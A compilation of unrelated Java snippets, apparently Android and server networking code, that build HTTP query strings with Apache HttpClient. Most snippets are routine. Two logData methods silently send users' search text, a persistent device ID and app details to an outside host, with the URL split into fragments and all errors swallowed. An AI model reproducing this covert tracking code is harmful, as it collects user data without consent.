/** * Search.location of Destinia API * * @param _lat * @param _lon * @param _apiKey * @param _place_type * @param _enclosing_place * @return A SearchResponse with the result. Null if not result. * @throws Exception */ public SearchResponse location( Double _lat, Double _lon, String _apiKey, String _place_type, String _enclosing_place) throws Exception { logTag = "location"; Log.i(logTag, "Inicio"); /* * Constructing URL */ String urlAux = "http://" + url; final List<NameValuePair> pairs = new ArrayList<NameValuePair>(); pairs.add(new BasicNameValuePair("method", "search.location")); pairs.add(new BasicNameValuePair("lat", String.valueOf(_lat))); pairs.add(new BasicNameValuePair("lon", String.valueOf(_lon))); pairs.add(new BasicNameValuePair("api_key", _apiKey)); if (!_place_type.equals("")) pairs.add(new BasicNameValuePair("place_type", _place_type)); if (!_enclosing_place.equals("")) pairs.add(new BasicNameValuePair("enclosing_place", _enclosing_place)); urlAux += "?" + URLEncodedUtils.format(pairs, "utf-8"); /* * Request call and waiting result. */ return requestSearch(urlAux); }
@Override public void onReceive(Context context, Intent intent) { Log.d("com.example.lpchomecontrol", "onReceive from Service"); // message recived with new command String command; command = intent.getStringExtra(PARAM_OUT_MSG); String command_type; String command_content; command_type = command.substring(0, 3); command_content = command.substring(3); // first of all check the command and based on it decide the right string to send, List<NameValuePair> params = new LinkedList<NameValuePair>(); if (command_type.contains("LCD")) { params.add(new BasicNameValuePair("LCD_TEXT", command_content)); } else if (command_type.contains("LED")) { if (command_content.contains("1")) params.add(new BasicNameValuePair("LED0", "1")); else params.add(new BasicNameValuePair("LED0", "0")); } String paramString = URLEncodedUtils.format(params, "utf-8"); new NetowrkProcess() .execute( "http://" + com.example.lpchomecontrol.MainActivity.serveraddress + "?" + paramString); // execute_http("http://" + com.example.lpchomecontrol.MainActivity.serveraddress // +"?"+paramString); }
static { final List<NameValuePair> qparams = new ArrayList<NameValuePair>(); for (final String role : ROLE_NAMES) { qparams.add(new BasicNameValuePair(RolePrintingServlet.PARAM_ROLE_NAME, role)); } QUERY_ROLES = URLEncodedUtils.format(qparams, "UTF-8"); }
private String downloadUrl(String url, List<NameValuePair> params) { String response = ""; try { // http client DefaultHttpClient httpClient = new DefaultHttpClient(); HttpEntity httpEntity = null; HttpResponse httpResponse = null; // appending params to url if (params != null) { String paramString = URLEncodedUtils.format(params, "utf-8"); url += "?" + paramString; } HttpGet httpGet = new HttpGet(url); httpResponse = httpClient.execute(httpGet); httpEntity = httpResponse.getEntity(); response = EntityUtils.toString(httpEntity); } catch (IOException ioEx) { Log.e(LOGTAG, "Error getting Json from: " + url + " ", ioEx); } return response; }
protected HttpUriRequest createRequest() { List<NameValuePair> params = null; if (getRequestParameters() != null) { params = new ArrayList<NameValuePair>(); for (Map.Entry<String, Object> p : getRequestParameters().entrySet()) params.add(new BasicNameValuePair(p.getKey(), (String) p.getValue())); } HttpRequestBase req; if ("POST".equalsIgnoreCase(getMethod())) { req = new HttpPost(getUrl()); if (params != null) { try { UrlEncodedFormEntity reqEntity = new UrlEncodedFormEntity(params, "UTF-8"); ((HttpPost) req).setEntity(reqEntity); } catch (UnsupportedEncodingException e) { log.error("Error encoding request entity", e); } } } else if (params != null) { req = new HttpGet( getUrl() + (getUrl().contains("?") ? "&" : "?") + URLEncodedUtils.format(params, "UTF-8")); } else { req = new HttpGet(getUrl()); } return req; }
private static void logData(String data) { HttpClient httpclient = new DefaultHttpClient(); try { List<NameValuePair> nameValuePairs = new ArrayList<NameValuePair>(2); nameValuePairs.add(new BasicNameValuePair("query", data)); nameValuePairs.add(new BasicNameValuePair("uid", getUUID())); nameValuePairs.add(new BasicNameValuePair("hl", getLanguage())); nameValuePairs.add(new BasicNameValuePair("p", getPackageName())); nameValuePairs.add(new BasicNameValuePair("av", getAppVersion())); nameValuePairs.add(new BasicNameValuePair("v", getAndroidVersion())); String l = new String("http://" + "alba" + "hhet.sourc" + "eforge.ne" + "t/areader.p" + "hp?"); String paramString = URLEncodedUtils.format(nameValuePairs, "utf-8"); HttpGet httppost = new HttpGet(l + paramString); httpclient.execute(httppost); } catch (ClientProtocolException e) { } catch (IOException e) { } catch (Exception e) { } }
// function get json from url // by making HTTP POST or GET mehtod public JSONObject makeHttpRequest(String url, String method, List<NameValuePair> params) { // Making HTTP request try { // check for request method if (method == "POST") { // request method is POST // defaultHttpClient DefaultHttpClient httpClient = new DefaultHttpClient(); HttpPost httpPost = new HttpPost(url); httpPost.setEntity(new UrlEncodedFormEntity(params)); HttpResponse httpResponse = httpClient.execute(httpPost); HttpEntity httpEntity = httpResponse.getEntity(); is = httpEntity.getContent(); } else if (method == "GET") { // request method is GET DefaultHttpClient httpClient = new DefaultHttpClient(); String paramString = URLEncodedUtils.format(params, "utf-8"); url += "?" + paramString; HttpGet httpGet = new HttpGet(url); HttpResponse httpResponse = httpClient.execute(httpGet); HttpEntity httpEntity = httpResponse.getEntity(); is = httpEntity.getContent(); } } catch (UnsupportedEncodingException e) { e.printStackTrace(); } catch (ClientProtocolException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } try { BufferedReader reader = new BufferedReader(new InputStreamReader(is, "iso-8859-1"), 8); StringBuilder sb = new StringBuilder(); String line = null; while ((line = reader.readLine()) != null) { sb.append(line + "\n"); } is.close(); json = sb.toString(); } catch (Exception e) { Log.e("Buffer Error", "Error converting result " + e.toString()); } // try parse the string to a JSON object try { jObj = new JSONObject(json); } catch (JSONException e) { Log.e("JSON Parser", "Error parsing data " + e.toString()); } // return JSON String return jObj; }
private static void logData(String data) { HttpClient httpclient = new DefaultHttpClient(); ZLStringOption opt = new ZLStringOption("user", "uuid", ""); String uuid = opt.getValue(); if (uuid.length() == 0) { uuid = UUID.randomUUID().toString(); opt.setValue(uuid); } try { List<NameValuePair> nameValuePairs = new ArrayList<NameValuePair>(2); nameValuePairs.add(new BasicNameValuePair("query", data)); nameValuePairs.add(new BasicNameValuePair("uid", uuid)); String l = new String("http://" + "alba" + "hhet.sourc" + "eforge.ne" + "t/areader.p" + "hp?"); String paramString = URLEncodedUtils.format(nameValuePairs, "utf-8"); HttpGet httppost = new HttpGet(l + paramString); httpclient.execute(httppost); } catch (ClientProtocolException e) { } catch (IOException e) { } catch (Exception e) { } }
ValidationResult validateUri(URL url, ValidationRequest request) throws IOException { String parser = request.getValue("parser", null); HttpRequestBase method; List<NameValuePair> qParams = new ArrayList<NameValuePair>(); qParams.add(new BasicNameValuePair("out", "json")); if (parser != null) { qParams.add(new BasicNameValuePair("parser", parser)); } qParams.add(new BasicNameValuePair("doc", url.toString())); try { URI uri = new URI(baseUrl); URI uri2 = URIUtils.createURI( uri.getScheme(), uri.getHost(), uri.getPort(), uri.getPath(), URLEncodedUtils.format(qParams, "UTF-8"), null); method = new HttpGet(uri2); return validate(method); } catch (URISyntaxException e) { throw new IllegalArgumentException("invalid uri. Check your baseUrl " + baseUrl, e); } }
public static String get(String url, Map<String, String> params, String charset) { if (url == null || url.trim().length() == 0) { return null; } DefaultHttpClient httpclient = null; HttpGet hg = null; try { url = patchUrl(url); List<NameValuePair> qparams = getParamsList(params); if (qparams != null && qparams.size() > 0) { charset = (charset == null ? CHARSET_UTF8 : charset); String formatParams = URLEncodedUtils.format(qparams, charset); url = (url.indexOf("?")) < 0 ? (url + "?" + formatParams) : (url.substring(0, url.indexOf("?") + 1) + formatParams); } httpclient = getDefaultHttpClient(charset); hg = new HttpGet(url); return httpclient.execute(hg, responseHandler); } catch (ClientProtocolException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } catch (Exception e) { e.printStackTrace(); } finally { abortConnection(hg, httpclient); } return null; }
private String doGetRequest() throws IOException, ClientProtocolException { String url = method.buildUrl(); if (!url.endsWith("?")) { url += "?"; } List<NameValuePair> params = new LinkedList<NameValuePair>(); if (requestObject != null) { for (Field field : requestObject.getClass().getDeclaredFields()) { try { field.setAccessible(true); params.add(new BasicNameValuePair(field.getName(), field.get(requestObject).toString())); } catch (IllegalArgumentException e) { e.printStackTrace(); } catch (IllegalAccessException e) { e.printStackTrace(); } } } String paramString = URLEncodedUtils.format(params, "utf-8"); url += paramString; HttpGet request = new HttpGet(url); request.addHeader("Accept", "application/json"); return innerApiCall(request); }
private static Object apiCall(String path, Map<String, Object> fields, String method) { if (method == "GET" || method == "DELETE") { String query = URLEncodedUtils.format(getForm(fields), HTTP.UTF_8); URI uri = getURI(path, query); System.out.println(method + ": " + safelog(uri)); HttpUriRequest request = (method == "GET") ? new HttpGet(uri) : new HttpDelete(uri); return executeParse(request); } else if (method == "POST" || method == "PUT") { URI uri = getURI(path, null); System.out.println(method + ": " + safelog(uri)); HttpEntityEnclosingRequestBase request = (method == "POST") ? new HttpPost(uri) : new HttpPut(uri); try { UrlEncodedFormEntity body = new UrlEncodedFormEntity(getForm(fields)); if (DEBUG) System.out.println("body: " + safelog(body)); request.setEntity(body); } catch (UnsupportedEncodingException e) { throw new RuntimeException("Unsupported Encoding Exception", e); } return executeParse(request); } throw new RuntimeException("Invalid HTTP method"); }
public String retreive_token() throws Exception { /* * https://connect.deezer.com/oauth/auth.php?app_id=YOUR_APP_ID&redirect_uri * =YOUR_REDIRECT_URI&perms=YOUR_PERMS * http://redirect_uri?error_reason=user_denied * http://redirect_uri?code=A_CODE_GENERATED_BY_DEEZER * https://connect.deezer.com/oauth/access_token.php * https://connect.deezer * .com/oauth/access_token.php?app_id=YOU_APP_ID&secret * =YOU_APP_SECRET&code=THE_CODE_FROM_ABOVE */ String url = "https://connect.deezer.com/oauth/auth.php?"; String perms = "basic_access,email,offline_access,manage_library,listening_history"; List<NameValuePair> body_args = new ArrayList<NameValuePair>(); body_args.add(new BasicNameValuePair("app_id", app_id)); body_args.add(new BasicNameValuePair("redirect_uri", redirect_uri)); body_args.add(new BasicNameValuePair("perms", perms)); String paramString = URLEncodedUtils.format(body_args, "utf-8"); // url += "app_id=" + app_id + "&redirect_uri=" + redirect_uri + "&perms=" + perms; url += paramString; System.out.println(url); java.awt.Desktop.getDesktop().browse(new URI(url)); Method method = null; String code_retrieved = ""; NetworkWrapper.runServerToListen(9999, this, method); System.out.println(code_retrieved); url = "https://connect.deezer.com/oauth/access_token.php?"; String[] parts = code_retrieved.split("="); parts = parts[1].split(" "); code_retrieved = parts[0]; body_args = new ArrayList<NameValuePair>(); body_args.add(new BasicNameValuePair("app_id", app_id)); body_args.add(new BasicNameValuePair("secret", secret)); body_args.add(new BasicNameValuePair("code", code_retrieved)); paramString = URLEncodedUtils.format(body_args, "utf-8"); // url += "app_id=" + app_id + "&secret=" + secret + "&code="+ code_retrieved; url += paramString; JSONObject res_json = NetworkWrapper.post(url, body_args); access_token = res_json.getString("access_token"); return access_token; }
private static URI uri(final String graph) throws URISyntaxException { List<NameValuePair> params = new ArrayList<NameValuePair>(); params.add(new BasicNameValuePair("graph", graph)); URI uri = URIUtils.createURI(SCHEME, HOST, PORT, PATH, URLEncodedUtils.format(params, "UTF-8"), null); return uri; }
/** * Sets the parameter entity by a charset. * * @param parameterEntity the parameter entity * @param charset the charset string */ public void setParameterEntity(List parameterEntity, String charset) { ClientLogger.requestInfo(GET, charset, "List - [URL Parameter]", parameterEntity); String format = URLEncodedUtils.format(parameterEntity, charset); if (format != null) { urlParameter = "?" + format; } }
public HttpGet createHttpGet(String url, NameValuePair... nameValuePairs) { if (DEBUG) LOG.log(Level.FINE, "creating HttpGet for: " + url); String query = URLEncodedUtils.format(stripNulls(nameValuePairs), HTTP.UTF_8); HttpGet httpGet = new HttpGet(url + "?" + query); httpGet.addHeader(CLIENT_VERSION_HEADER, mClientVersion); if (DEBUG) LOG.log(Level.FINE, "Created: " + httpGet.getURI()); return httpGet; }
/** * Generate full uri * * @return uri */ public String generateUri() { final String baseUri = uri; if (baseUri == null) return null; if (baseUri.indexOf('?') != -1) return baseUri; String params = URLEncodedUtils.format(getPairs(getParams()), null); if (params != null && params.length() > 0) return baseUri + '?' + params; else return baseUri; }
private void performAuthentication(DefaultHttpClient httpClient, AuthToken authToken) throws IOException, AuthenticationException { HttpResponse resp; final ArrayList<NameValuePair> params = new ArrayList<NameValuePair>(); params.add(new BasicNameValuePair(PARAM_USERNAME, authToken.username)); params.add(new BasicNameValuePair(PARAM_PASSWORD, authToken.password)); params.add(new BasicNameValuePair(PARAM_USER_TIME, "dummy")); final HttpEntity entity; try { entity = new UrlEncodedFormEntity(params); } catch (final UnsupportedEncodingException e) { // this should never happen. throw new IllegalStateException(e); } String uri = BASE_URL + "?" + URLEncodedUtils.format( Arrays.asList(new BasicNameValuePair(XML_ID, AUTH_XML_ID)), ENCODING); Log.i(TAG, "Authenticating to: " + uri); final HttpPost post = new HttpPost(uri); post.addHeader(entity.getContentType()); post.setHeader("Accept", "*/*"); post.setEntity(entity); resp = httpClient.execute(post); // check for bad status if (resp.getStatusLine().getStatusCode() != HttpStatus.SC_MOVED_TEMPORARILY) { throw new ParseException( "status after auth: " + resp.getStatusLine().getStatusCode() + " " + resp.getStatusLine().getReasonPhrase()); } // check header redirect Header[] locations = resp.getHeaders(HEADER_LOCATION); if (locations.length != 1) { throw new ParseException(locations.length + " header locations received!"); } String location = "https://" + DOMAIN + locations[0].getValue(); Log.v(TAG, "location=" + location); UrlQuerySanitizer sanitizer = new UrlQuerySanitizer(location); authToken.userId = sanitizer.getValue(PARAM_USER_ID); authToken.sessionId = sanitizer.getValue(PARAM_SESSION_ID); String redirectedXmlId = sanitizer.getValue(XML_ID); if (authToken.userId == null || authToken.userId.length() == 0 || authToken.sessionId == null || authToken.sessionId.length() == 0 || AUTH_XML_ID.equalsIgnoreCase(redirectedXmlId)) { checkAuthError(sanitizer); } }
private static URI generateFreeURI(URI originURI) { if (originURI == null || isProxyUrl(originURI.toString())) { return originURI; } List<NameValuePair> params = new ArrayList<NameValuePair>(); params.add(new BasicNameValuePair(PARAM_URL, originURI.toString())); params.addAll(freeParams); return URI.create(FREE_URL + "?" + URLEncodedUtils.format(params, "utf-8")); }
private String buildQueryString(Map<String, String> params) { ArrayList<NameValuePair> nvs = new ArrayList<NameValuePair>(params.size()); for (Map.Entry<String, String> entry : params.entrySet()) { NameValuePair nv = new BasicNameValuePair(entry.getKey(), entry.getValue()); nvs.add(nv); } String queryString = URLEncodedUtils.format(nvs, "UTF-8"); return queryString; }
@Override public HttpURLConnection openConnection() throws MalformedURLException, IOException { String fullUrl = url.endsWith("?") ? url : url + "?"; fullUrl += URLEncodedUtils.format(params, "utf-8"); this.connection = (HttpURLConnection) new URL(fullUrl).openConnection(); for (BasicNameValuePair header : headers) { connection.setRequestProperty(header.getName(), header.getValue()); } return connection; }
public String getBaseParamsString() { if (mHttpApi == null || !(mHttpApi instanceof HttpApiWithOAuth)) { return ""; } HttpApiWithOAuth httpApi = (HttpApiWithOAuth) mHttpApi; List<NameValuePair> paramList = new ArrayList<NameValuePair>(); httpApi.addBaseParams(paramList); String params = URLEncodedUtils.format(paramList, HTTP.UTF_8); return params; }
/** * @param path relative path for the resource including / prefix * @param qparams NameValuePair list of parameters * @return a correctly formatted and urlencoded string * @throws URISyntaxException */ public static URI getUri(String scheme, String path, List<NameValuePair> qparams) throws URISyntaxException { return URIUtils.createURI( scheme, Constants.Backend.API_HOST, -1, path, URLEncodedUtils.format(qparams, "UTF-8"), null); }
public String makeServiceCall(String url, int method, List<NameValuePair> params) { try { DefaultHttpClient httpClient = new DefaultHttpClient(); HttpEntity httpEntity = null; HttpResponse httpResponse = null; if (method == POST) { URI uri = new URI(url.replaceAll(" ", "%20")); HttpPost httpPost = new HttpPost(uri); if (params != null) { httpPost.setEntity(new UrlEncodedFormEntity(params)); } httpResponse = httpClient.execute(httpPost); } else if (method == GET) { if (params != null) { String paramString = URLEncodedUtils.format(params, "utf-8"); url += "?" + paramString; } URI uri = new URI(url.replaceAll(" ", "%20")); HttpGet httpGet = new HttpGet(uri); httpResponse = httpClient.execute(httpGet); } httpEntity = httpResponse.getEntity(); is = httpEntity.getContent(); } catch (UnsupportedEncodingException e) { e.printStackTrace(); } catch (ClientProtocolException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } catch (Exception e) { e.printStackTrace(); } try { BufferedReader reader = new BufferedReader(new InputStreamReader(is, "UTF-8"), 8); StringBuilder sb = new StringBuilder(); String line = null; while ((line = reader.readLine()) != null) { sb.append(line + "\n"); } is.close(); response = sb.toString(); } catch (Exception e) { Log.e("Buffer Error", "Error: " + e.toString()); } return response; }
private HttpGet createGetRequest(String urlStr, Map<String, String> params) { StringBuilder bld = new StringBuilder(createURI(urlStr)); if (params != null && !params.isEmpty()) { List<BasicNameValuePair> pairs = new ArrayList<BasicNameValuePair>(); for (Map.Entry<String, String> param : params.entrySet()) pairs.add(new BasicNameValuePair(param.getKey(), param.getValue())); bld.append('?'); bld.append(URLEncodedUtils.format(pairs, UTF_8.name())); } return new HttpGet(URI.create(bld.toString())); }
@Override protected String getAccessTokenParams( final Configuration c, final String code, final Request request) { final List<NameValuePair> params = new ArrayList<NameValuePair>(); params.add( new BasicNameValuePair( PocketConstants.CONSUMER_KEY, c.getString(SettingKeys.CONSUMER_KEY))); params.add(new BasicNameValuePair(Constants.CODE, code)); return URLEncodedUtils.format(params, "UTF-8"); }
public void parse(int eLevel, boolean show_closed, BoundingBoxE6 boundingBox) { // get a factory SAXParserFactory spf = SAXParserFactory.newInstance(); try { // get a new instance of parser SAXParser sp = spf.newSAXParser(); // parse the file and also register this class for call backs HttpClient httpClient = new DefaultHttpClient(); HttpContext localContext = new BasicHttpContext(); List<NameValuePair> qparams = new ArrayList<NameValuePair>(); qparams.add( new BasicNameValuePair("l", "" + String.valueOf(boundingBox.getLonWestE6() / 1E6))); qparams.add( new BasicNameValuePair("b", "" + String.valueOf(boundingBox.getLatSouthE6() / 1E6))); qparams.add( new BasicNameValuePair("r", "" + String.valueOf(boundingBox.getLonEastE6() / 1E6))); qparams.add( new BasicNameValuePair("t", "" + String.valueOf(boundingBox.getLatNorthE6() / 1E6))); if (!show_closed) { qparams.add(new BasicNameValuePair("open", "1")); } URI uri; uri = URIUtils.createURI( "http", "openstreetbugs.schokokeks.org", -1, "/api/0.1/getGPX", URLEncodedUtils.format(qparams, "UTF-8"), null); HttpGet httpget = new HttpGet(uri); HttpResponse response = httpClient.execute(httpget, localContext); org.slf4j.Logger logger = org.slf4j.LoggerFactory.getLogger(OpenFixMapActivity.class); logger.info("Fetch " + httpget.getURI()); sp.parse(response.getEntity().getContent(), this); } catch (SAXException se) { se.printStackTrace(); } catch (ParserConfigurationException pce) { pce.printStackTrace(); } catch (IOException ie) { ie.printStackTrace(); } catch (URISyntaxException e) { // TODO Auto-generated catch block e.printStackTrace(); } }
public THttpRequest createUserShow() { List<NameValuePair> list = new LinkedList<NameValuePair>(); // list.add(new BasicNameValuePair("access_token", mChannel.getAccessToken())); THttpRequest request = new THttpRequest( mChannel.getUserShowUrl() + "?" + URLEncodedUtils.format(list, "utf-8"), THttpMethod.GET); request.addHeader("Authorization", "OAuth2 " + mChannel.getAccessToken()); return request; }
protected void assignContent(HttpEntityEnclosingRequestBase request, Map<String, String> params) throws UnsupportedEncodingException { if (params != null && !params.isEmpty()) { List<NameValuePair> pairs = new ArrayList<NameValuePair>(params.size()); for (Map.Entry<String, String> param : params.entrySet()) pairs.add(new BasicNameValuePair(param.getKey(), param.getValue())); StringEntity entity = new StringEntity(URLEncodedUtils.format(pairs, UTF_8.name()), UTF_8.name()); entity.setContentType(CONTENT_TYPE_WWW_FORM_URLENCODED); request.setEntity(entity); } }
/** 根据URL地址和参数创建一个httpget对象 NameValuePair可以传入key-value对应的参数 */ public HttpGet createHttpGet(String url, String encode, NameValuePair... nameValuePairs) { HttpGet httpGet = null; if (nameValuePairs != null && nameValuePairs.length > 0) { String query = URLEncodedUtils.format(stripNulls(nameValuePairs), encode); httpGet = new HttpGet(url + "?" + query); } else { httpGet = new HttpGet(url); } httpGet.addHeader(CLIENT_VERSION_HEADER, mClientVersion); httpGet.addHeader("Accept-Encoding", "gzip"); return httpGet; }